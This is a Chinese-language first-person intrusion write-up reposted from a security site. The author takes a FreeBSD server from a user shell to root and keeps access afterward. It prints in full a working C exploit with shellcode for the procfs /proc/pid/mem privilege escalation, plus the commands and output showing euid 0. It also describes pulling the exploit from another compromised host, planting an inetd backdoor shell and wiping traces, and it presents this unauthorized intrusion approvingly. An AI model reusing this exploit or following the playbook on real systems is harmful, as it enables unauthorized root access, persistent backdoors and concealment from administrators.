入侵過程by quack

> w
w
9:03PM up 6 days, 2:37, 3 users, load averages: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE WHAT
ccc p0 **.**.***.*** 6:04PM 2:41 -tcsh (tcsh)

不錯，就我自在逍遙……看看passwd吧……

> cat /etc/passwd
cat /etc/passwd
root:*:0:0:Charlie &:/root:/usr/local/bin/bash
aaa:*:1005:2000::/home/www:/usr/local/bin/tcsh
bbb:*:1006:1006::/home/bbb:/usr/local/bin/tcsh
ccc:*:1003:1003::/home/ccc:/usr/local/bin/tcsh
ddd:*:1008:1008:ddd:/home/www:/usr/local/bin/tcsh
eee:*:1009:1009:eee:/home/eee:/usr/local/bin/tcsh

很明顯/home/www就是www用戶的主目錄了……先看看俺ccc對該目錄有沒有寫許可權

> echo test >/home/www/test
test: Permission denied.

看來如果想改他的主頁，還得另外想辦法啦……不過都已經有了一個用戶shell了，最
高許可權其實也只有一步之遙啦，好吧，翻翻資料庫埵酗麽關於FreeBSD 3.2的記錄，
看來東西不多呀……而且有些還是安裝外來套裝軟體之後才帶來的風險……

先看看有沒有編譯的許可權再說吧，否則還得找一台BSD來編譯……

> ls /usr/local/bin|grep gcc
gcc

一般情況下自己安裝的gcc是會在這個目錄的啦，否則最好find一下比較保險。

這下方便了……可以直接傳代碼上來試……
試了幾個之後我找到這麽個東西：

/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

char shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";

#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int pid,schild;
int fd;
char buff[40];
unsigned int status;
char *ptr;
char name[4096];
char sc[4096];
char signature[] = "signature";

signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;

pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:

dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);

}
}

偶說一下這個漏洞的由來吧：

早在1997年在*BSD奡N發現了一個致命漏洞存在於procfs可以導致本地用戶奪取root
許可權，*BSD核心中做了簡單的修補，但不幸的是，時至今日，我們仍然可以通過對
/proc/pid/mem的操作奪取root許可權……當然，要利用這個程式拿ROOT，procfs文件系統
必須是mounted的，在默認的FreeBSD3.3堿Omounted著的。我們先來看看這台機器上的
情況如何，別白忙一場……

# /sbin/mount
/dev/wd0s1a on / (local, writes: sync 12 async 134)
/dev/wd0s1h on /home (local, writes: sync 2 async 120)
/dev/wd0s1f on /usr (local, writes: sync 2 async 93)
/dev/wd0s1g on /usr/local (local, writes: sync 2 async 16)
/dev/wd0s1e on /var (local, writes: sync 118 async 498)
procfs on /proc (local)

呵呵不錯，看到沒有那procfs on字樣？看來老天幫忙了……

一個無特權的進程A自我調用子進程B，A打開/proc/pid-of-B/mem，B執行一個setuid的
二進位程式，現在B與A的euid已經不同了，但A仍然通過/proc/pid-of-B/mem的描述符控
制B進程，就可能做很多事了……

In order to stop this exploit, an additional check was added to the code
responsible for I/O on file descriptors referring to procfs pseudofiles. In
miscfs/procfs/procfs.h (from FreeBSD 3.0) we read:
/*
* Check to see whether access to target process is allowed
* Evaluates to 1 if access is allowed.
*/
#define CHECKIO(p1, p2) \
((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
((p2)->p_flag & P_SUGID) == 0) || \
(suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
As we see, process performing I/O (p1) must have the same uids as
target process (p2), unless... p1 has root priviledges. So, if
we can trick a setuid program X into writing to a file descriptor
F referring to a procfs object, the above check will not prevent
X from writing. As some of readers certainly already have guessed,
F's number will be 2, stderr fileno... We can pass to a setuid
program an appropriately lseeked file descriptor no 2 (pointing to
some /proc/pid/mem), and this program will blindly write there
error messages. Such output is often partially controllable (e.g.
contains program's name), so we can write almost arbitrary data
onto other setuid program's memory.

This scenario looks similar to

close(fileno(stderr)); execl("setuid-program",...)

exploits, but in fact differs profoundly. It exploits the fact
that the properties of a fd pointing into procfs is not
determined fully by "open" syscall (all other fd are; skipping
issues related to securelevels). These properties can change
because of priviledged code execution. As a result, (priviledged)
children of some process P can inherit a fd opened read-write,
though P can't directly gain such fd via open syscall.

懶得把它弄成中文的了……感興趣則看，不感興趣就跳過吧……

好，那就把漏洞利用程式rcp過去吧

>rcp root@***.***.***.**:/tmp/pcnfs.c /tmp/

其中***.***.***.**是以前的一個倒楣蛋，/下被加了+ +的傢夥……

編譯運行——可能得對程式做一些小小的更改……

>gcc pcnfs.c -o p
>./p -4000 -10000
shellcode addr=0xbfbfcd4c stack=0xbfbfaddc
Wait for "Press return" prompt:
New password:
Press return.

id
uid=1003(ccc) gid=1003(ccc) euid=0(root) groups=1003(ccc)

wowowo!我是root啦……哈哈，也就是說，俺現在在這個系統堨i以爲所欲爲了……
再試試對/home/www目錄有沒有寫許可權吧……

echo test>/home/www/test.txt;ls /home/www|grep test
test.txt

呵，好了，大功告成……一般情況下做到這步後你原來修改主頁的欲望就會消散了，畢
竟咱們不是以破壞系統爲樂的人，我們只是希望網路社會更加健康，所以——俺也沒改
什麽東西，只是留了幾個後門就bye-bye了……咱們有太多的系統可供學習，只好在這些
遠端機器上多學多看了——所以，留個後門還是必要的啦。

當然擦腳印等等活還是要幹的，讓人發現系統曾經有人嘗試過入侵究竟不是一件好事。萬
事OK後就可以走人了。

這個root有重新啓動系統的壞習慣，三天後我再登上系統時，發現

# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty),
5(operator), 20(staff), 31(guest)

呵，看來往/etc/inetd.conf里加的shell由root大人自己啓動了……至於這個系統，其實它
有安裝防火牆軟體的，要不是其中有一個用戶偷懶，還是很難入侵成功的……希望這對國內
的管理員也是一個警示吧，因爲國內的網路安全狀況實在還是不容樂觀……

=================================================================================

本文出自http://focus.silversand.net；如要轉載請注明出處。
我水平較菜，請高手多指點，mailto:[email protected]